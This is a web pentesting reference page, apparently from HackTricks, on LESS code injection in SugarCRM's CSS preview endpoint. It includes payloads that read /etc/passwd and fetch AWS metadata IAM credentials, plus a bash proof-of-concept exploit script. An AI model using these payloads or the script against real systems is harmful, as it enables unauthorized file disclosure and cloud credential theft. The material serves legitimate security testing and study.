// HackTricks · Web Pentesting

LESS Code Injection leading to SSRF & Local File Read

LESS Code Injection leading to SSRF & Local File Read

LESS is a CSS preprocessor with variables, mixins, functions, and @import. With the (inline) import option, the compiler copies the imported resource into CSS output without processing it as LESS. Server-side fetching, accepted URL schemes, and local-file access depend on the compiler implementation and options.[4]

When an application concatenates user-controlled input into a string that is later parsed by the LESS compiler, an attacker can inject arbitrary LESS code. By abusing @import (inline) the attacker can force the server to retrieve:

  • Local files via the file:// protocol (information disclosure / Local File Inclusion).
  • Remote resources on internal networks or cloud metadata services (SSRF).

This technique affected the SugarCRM /rest/v10/css/preview endpoint in the version ranges documented by SA-2024-059; do not reduce the advisory’s edition-specific ranges to a universal “≤ 14.0.0” claim.[1][2][3]

Exploitation

  1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. ?lm= in SugarCRM).[1]
  2. Close the current statement and inject new directives. The most common primitives are:
    • ; – terminates the previous declaration.
    • } – closes the previous block (if required).
  3. Use @import (inline) '<URL>'; to read arbitrary resources.
  4. Optionally inject a marker (data: URI) after the import to ease extraction of the fetched content from the compiled CSS.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

The contents of /etc/passwd will appear in the HTTP response just before the @@END@@ marker.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automated PoC (SugarCRM example)

#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
  sed -n 's/.*@@END@@\(.*\)/\1/p'

Real-World Cases

ProductVulnerable EndpointImpact
SugarCRM (affected ranges in SA-2024-059)/rest/v10/css/preview?lm=Unauthenticated SSRF and local file read

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.